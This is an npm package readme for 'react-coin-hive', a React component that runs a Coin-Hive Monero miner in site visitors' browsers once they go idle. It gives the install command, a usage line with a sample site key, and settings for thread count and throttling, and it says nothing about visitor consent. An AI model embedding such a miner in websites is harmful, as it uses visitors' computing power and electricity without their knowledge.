react-coin-hive
v1.1.1
Published
Mine cryptocurrency while your users haven’t engaged with your content lately
Downloads
18
Readme
React Coin-Hive
Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.
This uses Coin-Hive to mine Monero (XMR).
Installation
npm install --save react-coin-hive
Usage
// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
Props
siteKey
: Your Coin-Hive Site Key.timeout
: How long before considering that the user is idle in milliseconds. Default is30000
.userName
: If used, the miner will be created withCoinHive.User(siteKey, userName)
. By default the miner is created withCoinHive.Anonymous(siteKey)
.threads
: The number of threads the miner should start with. Default is2
.throttle
: The fraction of time that threads should be idle. Default is0
.onInit
: A function that takes theminer
instance as argument. It's called when the miner is created.onStart
: A function that takes theminer
instance as argument. It's called every time the miner is started.onStop
: A function that takes theminer
instance as argument. It's called every time the miner is stopped.
Disclaimer
I have nothing to do with coin-hive.com